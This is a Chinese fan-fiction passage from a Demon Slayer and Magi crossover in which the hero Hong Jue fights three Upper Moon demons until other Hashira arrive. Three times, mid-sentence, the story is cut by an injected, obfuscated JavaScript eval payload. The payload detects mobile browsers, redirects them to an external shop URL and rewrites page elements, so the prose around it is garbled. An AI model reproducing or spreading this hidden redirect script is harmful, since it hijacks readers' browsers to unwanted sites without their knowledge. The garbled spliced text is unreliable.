[你要不还是小心点。]马尔巴士想起红诀前不久才和鬼舞辻无惨打起来,还搞得一身伤。现在这摆在桌面上的占卜结果,觉得十有八九是真的。 察觉马尔巴士语气中对自己惹事能力的十分肯定,红诀无奈地笑了笑。 [我怎么觉得你对这占星结果全靠经验呢,我这几天可是很安分,好好占卜呀马尔巴士。] [你不相信我!有本魔神的真实之眼在,我肯定这占卜结果一定是真的。]马尔巴士信誓旦旦,[赶紧动起来,看看周围有什么不对劲的地方。] [这荒郊野岭的,我也没感觉有什么另我难受的气息。]红诀伸手用筷子拨了拨篝火里还在燃烧的木柴。[上弦贰这边都没有什么消息,也不知道花街那边怎么样了……] “不过,阿黑怎么还没回来?” 红诀停下拨动篝火的手,抬头看着灰蒙蒙的夜空,从傍晚与阿黑分开后,到现在都没看见阿黑。按一般任务的获取进度,阿黑也早该回来了。 是发生了什么事情吗? 等不到自己的阿黑,红诀起身伸了个懒腰,打算活络活络筋骨,白天一天一直和马尔巴士研究魔纹,现在整个人脑里都是魔纹的图案,什么走向,衔接,乱七八糟一大堆堆在红诀的大脑里。 头疼,想打架。 红诀皱着脸深吸一口气,蹲下身子压了压腿上的筋。 静谧的郊外,只有篝火燃烧的爆裂声。稀疏的大树底下,红发少年正压着腿,他的神情放松,绵长的呼吸随着动作开始唤醒久坐的身体。 然而,没等少年起身,他的动作却猛地一僵,刚刚那股后颈发麻的感觉又一次袭来,比起刚刚,这次的感觉更加清晰。红诀能感到自己的后背像过电一般阵阵发麻,强烈的身体反应在向身体的主人发出警告。 有什么东西,要过来了。 就在红诀身体预警的下一秒,一道带着无数月光利刃的斩击出现在红诀的上方,由上至下,宛若雷击一般,目标明确指向红发少年。 斩击出现的那一刻,周遭的空气都在悲鸣。 眼见斩击即将触碰到红发少年,千钧一发时刻,红发少年速度极快地就地一滚,极限之下堪堪躲过那道斩击。 郊外的宁静被打破,轰地一声,篝火被刀光所劈散,火花四溅。诡异的斩击像是开战的讯号,伴随着群鸟被惊起,无风的树林开始刮起狂风。 树林间,红诀连滚了好几圈,翻滚期间他已经将背后的双拐握到手上,顺势起身的他还没来得及看清攻击的来处,另一侧便又袭来一击凶猛的踢击。 “破坏式·乱式!” 强悍的踢击带着冰雪的气息朝红诀的颈部袭来,红发少年眼神一凛,手臂肌肉绷紧,直接屈臂挡住那雷霆一击。轰地一声,碰撞下的两方都感到手脚发麻。 透过扬起的尘土,红诀终于看清袭击者的面貌。与自己拳脚碰撞的是一名粉色寸头男人,眼神对上的瞬间,红诀便看清了男人眼底的兴奋和愉悦。 有着纹身的男人穿着小褂,金色双眸中是红诀熟悉的疯狂,就像沙漠中的佣兵,纯粹只有战斗的喜悦。 红诀能感到手臂抵挡的单脚还在使劲,没等他转移眼神看清刚刚篝火处使用斩击的人,就感到背后一股冷意涌了上来,他下意识握着粉发男人的脚腕一个翻身腾跃,短短一瞬间调转自己的位置。 一条巨大的木龙被穿过他刚刚所处的位置,击碎了大片土地。位于空中的红发少年抿紧嘴唇,腰部旋转,借助粉发男人的力气顺势一个后空翻,拉开了自己与未知敌人的距离。 红发少年轻巧落地,接连的三个袭击都被他无声地一一化解。待尘土消散,红诀也看清了未知敌人的模样。 !上弦壹、叁还有肆…… 夜空之下,袭击者的模样在月光下展露无遗。有着纹身的粉发男人赤脚而立,四肢壮硕的肌肉蕴含着强悍的力量,正跃跃欲试地看着红诀。一旁的黑发少年背后悬浮着五面写着憎字的小鼓,颈部带着金饰,红色眼白金色虹膜,盘旋缠绕的木龙无声位于他的身后。 擅长拳脚攻击的是上弦叁——猗窝座,身后盘旋着巨大木龙的是上弦肆——半天狗。 两人的气势惊人,战意满满。但红诀的眼睛却慎重地盯着站在篝火位置的持刀武士。要说上弦叁和上弦肆给红诀的感觉和童磨差不多,那那名持刀武士身上的压迫感已经跃过其他上弦,直逼鬼舞辻无惨。 站在篝火处的持刀武士有着一头红色长发,被束在脑后。他的脸上有着六双眼睛,神色平静,持刀而立。看不清刀身的佩刀搭在腰间,明明是平静地站在那里,却让红诀头皮发麻。 那便是上弦壹,鬼舞辻无惨之下的最强者。 好家伙,一下来了三个上弦。 他怎么不知道自己在十二鬼月眼里这么受欢迎。 [马尔巴士,果真是大凶呢。] 看着一边倒的局势,红诀还有心思开玩笑。 [你还有心思开玩笑!你做了什么这么招人恨。]马尔巴士蓝色的脸颊硬生生气红了,他的宿主是出人意料的倒霉。 不是说百年来上弦很难遇到吗?这小子都遇到四个了!四个了! 马尔巴士抓狂地无声呐喊着。 已是半夜,深蓝的夜空之下,红诀与三名上弦面对面站着。 看着眼前握着双拐严阵以待的红发少年,猗窝座单手遥遥指着红诀,朗声道:“你很强,不愧是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942912|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能将童磨打得半死的男人。” 猗窝座眼底对红诀满是欣赏,十二鬼月中,他最讨厌的便是上弦贰童磨,那个虚假满嘴谎言的恶心家伙。 闻言,半天狗却一个一激灵,他肩上的小人更是颤巍巍地抱着自己的头,嘴里嘀咕些什么。 离两人稍远的上弦一黑死牟眼神轻飘飘地看了猗窝座一眼,罕见地没说话。看着黑死牟没有出言制止猗窝座对童磨的不敬,半天狗也诧异地看了他一眼。 要知道上弦壹黑死牟大人最遵守十二鬼月内的排位尊卑问题。猗窝座阁下对童磨阁下的不满他们都知道,那次童磨阁下因冈名町一事被关禁闭,猗窝座是最先幸灾乐祸的。童磨阁下出来后的首次会议,猗窝座阁下更是出言不逊,当时可是被黑死牟大人狠狠教训了一下。 为什么这时候,黑死牟大人却没有出言制止呢? 听不见半天狗心声的黑死牟是没听见猗窝座的出言不逊吗?不,他听见了。拥有通透世界的他能看清每一人每一鬼的身体力量,血管的走向,内脏的跳动,每一样都清晰可见。 猗窝座说得不错,眼前这个看似瘦弱的少年,他的□□力量十分强悍。这么完美的身体力量,数百年来,他只看过两人。 红诀他,的确有打败童磨的能力。 怪不得那位大人会派三名上弦来进行围堵,起先他还不理解,如今看来,眼前的少年,单个上弦无法将其打败。 这届鬼杀队,并不是弱者之旅。 他一向平静的神情也和猗窝座一样,有了些许兴奋和愉悦。他抽出自己腰间的佩刀,伴随一声刀鸣,原本锈迹满满的刀刃在月光下显露出它的真面目。 那是一把有着无数眼睛的刀刃,刀身很长,刀身上眼睛还在不断转动,看起来诡异又震撼。 他的刀尖指向红诀,低沉的嗓音一字一句地说道—— “你,确有几分本事。” 抽出的刀身像是代表着某种讯号,没有过多交谈,在黑死牟抽出刀的一瞬间,所有人都动了起来。半天狗最先行动,他右手敲击在身后的鼓面上,鼓声响起,盘踞的木龙也气势汹汹朝红诀席卷而来。猗窝座紧随其后,他快速跃动在木龙中间,雪花状的术式在他脚下展开,整个人的气势直接提升了一个档次。 而最先举起刀尖的黑死牟没有动作,他没有向前走一步,六眼与红诀对视的瞬间,红诀能明显感受到他的呼吸与自己一致,同频般的感觉让红诀心头一颤。 “月之呼吸,柒之型,厄镜·月映。” “沙之呼吸,六之型,海市蜃楼。” 金色的魔神之力瞬间萦绕红诀全身,红发少年在一秒内就进入了伪魔装形态,新开发的招式像是温暖的沙漠热风,无声地从他自身周围扩散开来。 红发少年金红的发尾漂浮在空中,无人看到的另一个世界内,庞大的金色魔纹浮现在一人三鬼的脚下,正散发着莹莹微光。 75.少年与激战 沙之呼吸的第六型是幻术,是红诀根据沙漠中出现的奇异现象而命名的。没有魔神之力加持下的第六型,只有迷惑敌人加快速移动的效果。 而在魔神之力的加持下,第六型的迷惑效果更加真实,伪魔装状态下的红诀更是在一瞬间迷惑了三位上弦的视线。 在黑死牟的视野中,金红发少年像是还愣在原地,面对三方袭来的攻击没有躲避,低垂的头看不清神色。身穿深紫色武士服的黑死牟六只眼睛看着瞬间被各式攻击淹没的少年,平静的脸上眉头轻皱。 不对,没有实感。 三名上弦中,黑死牟和猗窝座都在第一时间察觉出红诀的不对劲。猗窝座的拳头像是击中了粗糙的树干,并不是属于人类温暖有韧性的血肉。 所有的反应只在一瞬间,待黑死牟和猗窝座试图转移视线去寻找消失的红诀时,红发少年鬼魅般的身影已经出现在尚未察觉的半天狗身后。 背着五面鼓,少年模样的半天狗还没有反应过来,他看着木龙捣毁的地面,手中的鼓槌紧握。下一瞬,裹夹着热浪的斩击便袭向他,就像是沙漠中随处可见的沙砾尘土,却在悄无声息中已经袭至自己的身后。 !什么时候过来的! 最先发现身后红诀的是躲在少年体型半天狗肩上的丑陋小人,见到红色双眸中未起波澜的红发少年,老头模样的小人发出尖利的喊叫声。 “为什么!要欺负我这个弱者!” 他捂着脸尖叫,孱弱又带着控诉地看着红诀。 被一人三鬼战斗波及的树林已经清出一大片空地,宽阔的场地上,三方而立的站位带着奇怪的意味。腾跃在半空的红发少年已经挥舞双拐袭向背对着的半天狗。 他泛着金光的双拐就差毫米之分就要砍上半天狗的脖颈,反应过来的半天狗察觉到背后的杀意,但手挥动鼓槌的速度比不上红诀挥刀的速度。 眼见红诀即将砍掉自己的脖颈,半天狗平静的眼神看向站在两边没有丝毫动作的黑死牟和猗窝座,心底没有一丝意外。 那两个人就像局外人一样,对于红诀即将消灭自己同僚的举动无动于衷。 十二鬼月之间并没有像鬼杀队那样互帮互助的同僚之情。 他没有停下敲鼓的手,也没有去阻止红诀挥向自己脖颈的刀身。背着五面鼓的少年完全放任了红诀已经没入脖颈的刀尖。 这股平静让即将到手的红诀产生了警觉。 他眼角的余光看着一旁毫无动静的上弦壹和上弦叁,最后眼神又回到已经断了半截脖子的半天狗,耳边属于老者的控诉声还在继续。多年的战斗预感像是在提醒他什么,下意识地,红发少年松开左手,直捣黄龙地猛抓向还在控诉的小人。 所有动作就在毫秒之间发生,红发少年单手持着双怪,却诡异地用另外一只手抓向毫不相关的小人。 [没错,小子,那个小人才是眼前这鬼的真身!] 在红诀变化行动的下一秒,远在世界之外的马尔巴士也出声提醒,他的眼睛中出现繁复的魔纹,属于自己天赋的真实之眼此刻充当着红诀的辅助,虽范围小,但却能将这小小范围内的所有信息情报总结归纳汇报给马尔巴士自身。 察觉红诀变招,半天狗也终于不平静了。他没想到红诀会放弃这唾手可得的机会转而去抓毫不相关的小人。 真卑鄙,竟然欺负弱者。 红诀此举像是触怒了半天狗,只见半天狗张大嘴巴,露出写着憎字的舌头。下一瞬,无形的音浪从他的口中冒出。 “狂压鸣波!” 带着雷光的冲击波目标明确地冲向红诀,在马尔巴士有延迟的转播中,红诀咬紧牙关承受着半天狗的冲击波。剧烈的冲击中,面部有些狰狞的红诀没有停下抓向小人的左手。 看着红诀没有被自己的冲击波迟缓动作,半天狗还是眼底闪过一丝惊异。虽然早就听过眼前这名少年实力强悍的传闻,但看着眼前面对自己冲击波仍能保持动作的红诀,他还是在心底暗骂一声。 这小子还是人类吗!? 眼见冲击波无法阻止少年,半天狗强行转动自己已经快要断成两截的脖子,将自己的嘴对准红发少年的脸,随着手中鼓声落下,从天而降的雷击夹着加大力度的冲击波再次冲向红诀。 还来!? 看着再度发起攻击的半天狗,早在灶门家一家中被鬼舞辻无惨那程度强百倍的冲击波中锻炼得当的红诀丝毫没有把半天狗的冲击波放在眼里。 “沙之呼吸,三之型,沙龙的咆哮!” 和半天狗类似,红发少年嘴唇微张,压根不逊于半天狗强化后的音浪大范围地铺开,伴随着无形的金色魔力,扩散开的音浪甚至将头顶的雷击短暂延迟下来。 近距离的冲击之下,半天狗深刻地体会到了属于法那利斯的种族天赋,身为恶鬼的半天狗被音浪冲击整得双眼发白,趴在肩上瑟瑟发抖的小人也差点被音浪掀飞。 这小子也会这招? 音浪的对冲之下,围观的黑死牟和猗窝座也吓了一跳,眼瞅着半天狗的本体即将被抓住,深知红诀难缠的两名上弦也不再旁观。 半天狗虽然不比他们强,但为了能在天亮前顺利抓到或者杀死红诀,他不能在一开始就被红诀斩灭。 “月之呼吸,拾之型,穿面斩·萝月。” “破坏式·空式。” 带着锯齿状的两圈刀刃带着强烈的压迫感逼近红诀,带着月刃卷风不断变化着,极具破坏性地轰向红诀。另一边高高跃起的猗窝座遮住了月光,强烈的破空声从他双拳周围响起,六道夹带冰雪无法捕捉的拳击从天而降,直取红诀首级。 “沙之呼吸,七之型,沙隐。” 宛若一颗落入沙漠的沙砾,红发少年的存在感瞬间降到了最低,无形之中,他所在的位置也在黑死牟等人的眼中飘忽不定,就像红诀的身形猛地变大变小一样,黑死牟和猗窝座的攻击落点明显发生了偏移。 黑死牟的斩击擦过红诀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978066|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后背,猗窝座的六连击也错失了目标,六个拳印错落地落在红诀的周遭。半天狗甚至被猗窝座的攻击直接命中,生生从晕厥中被打爆头颅,快速再生让其迅速恢复了清醒。 见一击未中,黑死牟手中的武士刀开始发生变化,宛若树枝生长一般,长满眼睛的刀身不断延长,两侧长出弯曲的利刃,轻微挪动间夹杂空气切割的爆鸣声。 比黑死牟身高还要长的刀身轻轻一动,无数月形利刃带着诡异的变化毁灭性地向红诀所处的方位攻来。席卷而来的气势将周围的土地杂草全部掀飞。 黑死牟用行动来表明,如果抓不准,就施行大范围轰击。 “月之呼吸,贰之型,珠华弄月。” 他的利刃所包含的范围,甚至连猗窝座和半天狗都包含在内。 见到黑死牟的大范围,不顾同僚死活的攻击,猗窝座狠狠咂舌,他距离黑死牟更近,险而又险地堪堪避开那六亲不认的攻击,腿部被刮开的伤口也是瞬间愈合。 半天狗更是狠狠在内心尖叫。 一个一个,都以欺负弱者为乐! 他奋力鼓动肩膀处的血肉,敢在再度变招的红诀之前,用血肉牢牢包裹住了自己的本体。砰地一声,红诀的手掌狠狠捏爆了半天狗肩膀上的肉球。 但血肉飞溅的瞬间,没有那个小人的半点踪影。 还是慢了一步,可恶。 因为黑死牟和猗窝座的突然袭击只能选择变招的红诀错失了半天狗短暂昏迷的良好时机。身侧属于黑死牟的攻击即将到来,红诀只能放弃半天狗的本体。 只见白气在红发少年嘴边萦绕,熟悉的金色沙砾斑纹出现在少年额头,少年的动作瞬间在提高了一个层次,他在空中连续翻腾,几个后空翻迅速离开黑死牟的攻击范围。 轰地一声巨响,红诀伸手捂住自己手臂被波及到的伤口。待尘土散去,刚刚的位置上,只留受伤惨重的半天狗待在原地。 盘旋的石龙子护在他身侧,却还是被黑死牟的攻击轰掉半边身子。透过红色的血肉和白色的骨头,红诀还能看清躲在其中的半天狗本体。 又是和鬼舞辻无惨一样的胆小鬼。 红诀忍不住在心中吐槽。 一人三鬼的较量发生在短短的十五分钟内,在见识过红诀不可低估的实力后,黑死牟三人也收起了漫不经心的神色,满脸认真地看着孤立无援的红发少年。 黑色牟的手腕微抖,诡异的斩击又再度向红诀袭去,随后接着的是猗窝座的拳击和半天狗的木龙和雷击。 巨响率先响起号角,不断的打斗声响彻整个郊外,尘土飞扬间,拳脚的碰击声,刀刃的碰撞声,还有切割木龙的声响,抵挡攻击的金属低鸣,像是乐曲,激昂在各个指挥家之间变化节奏。 巨大的动静甚至引来了郊区边缘的居民注意,郊区树林的另一边,几道身影步履匆匆地往交战中心赶,领头的鎹鸦背着红色小背包,翅膀飞速上下摆动,一骑绝尘地飞驰在深蓝的夜空中。 76.少年与时机 位于战场中心的郊外,往日茂密可遮挡夏日强烈阳光的树荫已不复存在,取而代之的是无数碎石尘土,以及四溅的木屑。 砰地一声,激战中心的红发少年单拐抵挡猗窝座的腿击,另一边抵挡住黑死牟那把诡异的虚哭神去。两方夹击之下,红诀脸上也带着几分勉强,他的汗水顺着下颌滴落,刺痛了脸上冒血的伤口。 战斗过程中,他身上已经多了很多细碎的伤口,大部分都是由黑死牟那诡异的攻击带来的。他那边长满眼睛的武士刀,名为虚哭神去,是由自己的血肉再生而成。不同寻常刀剑,即使红诀砍断了他的刀尖,下一瞬它又能恢复如初。 每一次黑死牟挥刀时,都会带动毫无规律的月形利刃风暴,近距离的兵刃相接,让还是人类之躯的红诀不免受伤,红诀的双臂衣服已经尽数绞毁,露出的白皙精壮手臂满是细密的血痕。 三对一的夹击给红诀带来不同灶门家那时与鬼舞辻无惨战斗的压力,虽然三名上弦的能力不比鬼舞辻无惨,但毫无章法以及各式各样的攻击还是让第一次见识到的红诀有些应接不暇,束手束脚。 单手抵住黑死牟的虚哭神去,红诀没理会那诡异月形利刃给自己带来的伤口,他一个转身侧踢,将想要再度贴身近战的猗窝座狠狠踹开。还没靠近的猗窝座被猛地踹开,落点甚至砸到了想要往前冲的半天狗。 砰的一声,比半天狗大一圈的猗窝座直接把半天狗牢牢压在屁股下,扬起大片尘土,半天狗原本对准红诀的雷击也因为猗窝座的误伤歪了准头。 紫色的雷击从天而降,穿过扬起的沙尘准准地劈向了与红诀拼刀的黑死牟。 轰隆一声,黑死牟红色的高马尾被雷劈得膨胀起来,硬生生从帅气整洁的马尾变成带着焦味的爆炸头。 面对这突来的变故,红诀和黑死牟都是一愣。 一直旁观的马尔巴士更是大笑出声,[活该!] 半天狗的雷击并没有对黑死牟造成伤害,只是他从红诀澄澈的红色双眸中看清了自己发型的变化,面无表情的脸直接沉了下去,周身气压也低沉下来。 从战斗开始到现在,黑死牟他们的攻击强悍,红诀凭着出色的危险感知和身体能力一步步适应他们的攻击节奏,也看出了他们仨一个致命的缺点。 擅长单打独斗的三名上弦根本就是在给对方互相捣乱。不顾同僚死活的打法有时直接打乱了另外两个的节奏,也让红诀有更多时间周旋。 红诀没理会黑死牟心底发生了什么变化,他原本只是想将烦人的猗窝座直接踹开,虽然选了半天狗这个落点,也没想到居然会将雷击引到黑死牟身上。 一举三得,赚了这是! 趁你病要你命,没有猗窝座和半天狗干扰,红诀抓住短短几秒的时间,对着黑死牟发起强烈的攻势。 “沙之呼吸,五之型,沙蟒绞杀。” 猛烈的突击直接突破了黑死牟防御的范围,对于握着长达数米虚哭神去的黑死牟来说,红诀这个突进他根本来不及挥刀回防。 哐当一声,红诀单拐挡住延伸袭来的虚哭神去,另一只手硬生生怼进黑死牟的胸膛,强悍的手部力量甚至带动拐身直奔黑死牟脖子而去。 “月之呼吸,五之型·月魄灾涡。” 看着红发少年直奔自己脖子的拐身,黑死牟在瞬间发动攻击,只见他的虚哭神去没有动弹,却猛地爆发出大范围的月形利刃风暴,像是要将红诀和自己尽数吞噬。 月形风暴呼啸而来,近距离的爆发,眼看红诀就要被淹没其中时,微弱的金光再度从红诀身上闪烁而出。 “沙之呼吸,六之型,海市蜃楼。” 看不见的金色魔纹再度大范围展开,肉眼可见地停滞了黑死牟发动的攻击。见状,黑死牟瞪大六只眼睛,眼前的红发少年在他的视野中像是模糊了一瞬间。 待感知再度醒来时,少年手里的拐刃已经来到了自己的喉咙。 又是刚刚那招。 黑死牟眼底划过一丝凝重,他不知道眼前这名红发少年的招式是什么,但未知的视线模糊和停滞让他们这些擅长血鬼术的上弦硬生生削弱了不少战力。 不能再藏着什么了,黑死牟再度领教到了眼前少年的不好惹。他身上原本整洁的武士服已经被红诀的攻击毁坏了大半,露出精壮的胸膛。 当那把金色的拐刃走到喉咙时,一柄弯曲的利刃猛地从黑死牟的脖间伸出,植根于血肉,却异常锋利,牢牢挡住红诀想要砍断脖子的拐刃。 还有这招!? 红诀惊讶地看着黑死牟脖子间那柄和虚哭神去如出一辙的利刃。单手持拐突破的时机转瞬即逝,见一招未中,红诀果断抽身。 他已经察觉身后袭来的半天狗和猗窝座,被停滞的月刃风暴也突破了制约,咯吱咯吱地摩擦着已经有了缺口的拐刃。 另一边,猗窝座没理会压着发愣的半天狗,沉浸在战斗中的他抹去因内脏受伤而溢出嘴边的血迹,一脚踩着半天狗的身体就往前冲。 脚劲的爆发,让半天狗直接从无伤变成重伤。 三人之中排名最低的半天狗一句话都不敢说,直接愈合伤口后也跟着往前冲。两鬼的袭击眼瞅着要碰上红发少年,却又在最后一秒被少年避开。 感知灵敏,身体素质超群的红诀,就像一尾泥鳅一样,愣是抓不住一丁点。 脱离包围圈的红诀转眼间便转移目标,他没再看已经举刀的黑死牟和冲过来的猗窝座,眼神直直看着一直在后方充当辅助的半天狗,脚下一个踏步,速度极快地奔向半天狗。 被接连的战斗唤醒身体本能的红发少年速度就像闪电,他一一躲过半天狗的雷击和木龙,险险避开黑死牟的月形斩击,几个呼吸间便来到半天狗身前。 “沙之呼吸,四之型,沙噬。” 极近的距离,猛地爆发的金色十字斩以势不可挡的趋势压向半天狗,灿烂的金色光芒中,半天狗瞪大双眼,身侧盘旋的木龙在瞬间牢牢缠上他的全身,想要抵挡这刺眼的金色十字斩。 然而在木龙缠绕的期间,红发少年却抓住了视线遮挡的时机。待半天狗看清周身时,却猛地发现一只白皙长满老茧的手穿透了自己的胸膛。 红发少年单手持拐,将另一把拐死死咬在嘴边,却将左手穿透了自己的胸膛。 他是故意的!那道刺眼的十字斩是幌子! 原以为的巨大斩击根本没有想象中的威力,眼前的红发少年趁他防备分神的期间找到了自己本体的位置。 糟糕,来不及转移。 半天狗震惊地看着额头冒出青筋的少年,奋力想要挣脱红诀那宛如坚石的手臂。 [就是那里,抓紧了!] 和宿主心意相通的马尔巴士拔高了声音,在红诀有所行动的瞬间,他立马察觉出了红诀的用意,没等红诀道出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008089|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划,便用真实之眼告诉半天狗本体所在的位置。 无声的默契配合下,这个计划顺利执行了。感受到自己手底下的实感,红诀眼底闪过一丝势在必得,他得把半天狗的本体抽出体外用日轮刀砍断脖子才能消灭上弦肆。 错愕的半天狗也瞬间反应过来,他深知在黑夜中的他,只有红诀手中的日轮刀才能彻底消灭他。他死死瞪着红诀,双手快速击打背后的鼓,听从指令的木龙呼啸地缠住红诀的双脚,将他牢牢固定在原地。 在危机时刻,一盘散沙的上弦终于领悟到了配合。 “破坏杀·灭式。” “月之呼吸,八之型·月龙轮尾。” 见半天狗抓住了泥鳅,猗窝座和黑死牟也抓准时机,只见猗窝座原地扎稳马步,向前挥出毁灭性的一拳,强烈的拳风带着惊天动地的气势奔向背对着他的红诀;黑死牟瞬间挥出虚哭神去,弧形的巨大斩击吞噬着沿路的一切。 [小子,背后来攻击了!赶紧挣脱。] 马尔巴士急得不行,凑在世界缝隙那小小的洞口不住往里挤。 闻言,红诀也心急,但半天狗像是视死如归一般,爆发了刚刚不曾有的战斗力,死死缠住挣扎的红诀。 见他铁了心不后退,红诀怒吼一声,四肢的肌肉紧绷爆发,他将双拐狠狠甩出,右手握拳捶向了困住自己的木龙。 一瞬之间,频率极快的拳头雨点般落在半天狗的身上。带着魔神之力的拳头,将他的躯体捶出一个个洞,却没有愈合的趋势。 红发少年的瞬间爆发,直接扯了半天狗一个踉跄,他像见鬼一样地看着眼前双眼泛红的少年,只见他一拳一个洞,硬生生将困住自己的木龙给锤断了。 没等半天狗再进行缠绕,红诀周身泛出的金光瞬间停滞了他的血鬼术,新的木龙无法缠绕,被红诀拳头所伤的伤口也没有愈合,半天狗看着眼前宛若修罗的少年。 少年的红发金色的部分开始不断延伸,原本只在发尾的金色,开始蔓延到后脑,气势也逐步攀升。 [小子,收住!收住!] 这样下去,我的躯体将不能恢复,我会被这个柱捶成碎片的! 半天狗想要拖住少年的心思开始动摇,他看着红诀背后的攻击越来越近,以及红诀疯狂的攻势,后知后觉开始害怕起来。 就在他动摇的瞬间,木龙的缠绕力度肉眼可见地弱了下来,伴随着最后一声爆裂的破空声,金红发少年彻底挣脱了束缚。 月光之下,高高跃起的少年握着混杂血肉的怯之鬼,正欲握紧回旋而来的双拐将其斩杀时,黑死牟的攻击却率先到来,月形利刃飞着半空将双拐击飞。 见红诀斩杀自己本体的日轮刀被黑死牟阻止,半天狗大松一口气。但没等他那口气顺下来,悬空的少年竟然将怯之鬼大力抛出。 发出尖叫声的怯之鬼没来得及反应,瞪大的双眼看着战场中的三鬼一人,似乎也不知道红诀把他抛出来的意图。毫秒之间,他看着张大嘴巴的分身,心底浮现一丝不安。 你在慌什么,还不赶紧…… 恍惚之间,他看见同在高空的红发少年那满是欣喜和信任的眼神。 他在看谁? “哦呀!这不是时机刚刚好吗!”, 一道恶魔般的声音在怯之鬼身后响起,没等他看清黑死牟他们的神情,就感到脖颈一凉,整个世界瞬间天地倒转。 77.少年与支援 耀眼的火光从半天狗的视野中划过,宛若刹那的烟火,滚烫热烈,成了他陷入黑暗前最后的光景。 火红的刀尖游龙般地将怯之鬼的头颅干净利落斩断,也昭示了来者的身份,身穿火焰拖尾披风的炼狱杏寿郎最先到达战场。 “嗯。没有来迟。” 炼狱杏寿郎收刀而立,乐观朝气的笑容出现在他的脸上。属于半天狗被日轮刀所斩首的灰烬片片随风而坠,憎之鬼模样的少年半天狗也在怯之鬼消散的那一刻化作无数灰烬,霎时间便消失在原地。 洁白的月亮高悬在空中,在炼狱到达战场的后一秒,白发的不死川也挥舞着日轮刀来到了现场。 “红诀,你小子还好吗?” “我没事!” 红诀从空中轻巧落下,刚刚将想要收回双拐将怯之鬼斩杀的举动被黑死牟识破,好在他在半空中看到了奔来的炼狱,两年的饭友之交也有些许默契。就在他和炼狱视线对上的瞬间,他的同僚便明白红诀的指示。 无声的默契配合,终于让三名上弦对红诀的围堵之网出现了纰漏,上弦之肆半天狗,率先出局。 “三名上弦?”不死川无畏地将刀放置肩头,恶狠狠地看着黑死牟和猗窝座,“上弦壹、叁还有肆,鬼舞辻无惨那胆小鬼还真是大手笔。” 闻言,黑死牟和猗窝座的脸色微变。 面对半天狗的死亡,他们两人的眼底并没有丝毫对同僚死亡的惋惜之色,但眼前之人对鬼舞辻无惨的不敬却让他们面上的神情变化。 作为昔日曾加入过鬼杀队的黑死牟,自然能认出刚刚赶来的两名剑士实力并不弱。 起码是柱以上的实力。三名柱吗……有点麻烦了。 黑死牟的神色晦暗难辨,他不知道原本童磨那边的计划出现了什么纰漏,居然让另外两名柱来到这里支援。吸引鬼杀队主公关注这一行动失败了吗? 现在三名上弦围堵竟然没能成功抓捕或者杀了红诀,还损失了半天狗这名上弦之肆,让红诀拖到了支援。 看着眼前斗气逼人的红诀三人,黑死牟眼眸一抬,看着已经高悬的月亮,握紧了手里的虚哭神去。 不能再拖下去了,原本他的计划是活抓红诀,现在看来,只能在天亮之前把红诀的尸体带回去,才不算任务失败。至于为何另外两名柱会出现在这里支援,就等后续再找童磨算账。 察觉旁边黑死牟的气场变化,猗窝座当然知道黑死牟在生气什么,这次的任务行动,是童磨和玉壶他们自告奋勇向那位大人担任主要执行人,现在计划出现纰漏,依照那位大人的性子,童磨回去肯定少不了惩罚。 想到此,猗窝座心底竟然多了几分幸灾乐祸,虽然不合时宜,他也要对赶来的两名柱说一声,干得好! 他早看不顺眼那个童磨了。 内心情绪波动异常汹涌的猗窝座脸上依旧维持着不动声色的表情。 没有闲聊也没有交谈,在不死川的挑衅声落下后,场上的局势再度烽烟四起。只是一个晃眼间,两方人鬼便兵刃相接,尘土之中,拳风与刀光四起,乒乒乓乓的砰击声再度响彻整个郊外。 **** 另一边,吉原花街。 伴随着上弦陆的主动暴露,整个花街已经乱成一团。夜空之下,坍塌的房屋只多不少。已经被宇髓天元从堕姬手里救出来的雏鹤三人正在帮助花街的普通人撤退。 “小心一些。” “请赶紧离开!” “您没事吧?” “我好疼!” 上弦陆的袭击来得突然,休憩在花街中的商户和各屋的侍女、花魁们几乎都猝不及防,或多或少都受了不轻的伤。 在又一次帮助伤员完成伤口包扎后,绑着高马尾的雏鹤遥遥看着距离这里并不遥远的花街战场。即使隔着两条街,她们依旧还能看到那里血光、绸带还有冰花夹杂在一起,那浩大的声势,让她们三人更为忧心。 “雏鹤,你说天元大人他们会没事吗?”没来及换回忍者打扮的牧绪靠近雏鹤询问。 “我也说不定,毕竟那里……”雏鹤的紫眸满是担忧,“有上弦陆和上弦贰。” 在她们三人成功获救之后,宇髓天元便与蝴蝶姐妹进行回合,双方交战的战场也合二为一。因着上弦陆双生鬼的特性,在多次摸索后,宇髓天元和蝴蝶姐妹三人才摸透堕姬和妓夫太郎这兄妹二鬼的特性。 只有同时砍下他们的头颅才能真正消灭潜藏在花街多年的上弦陆。 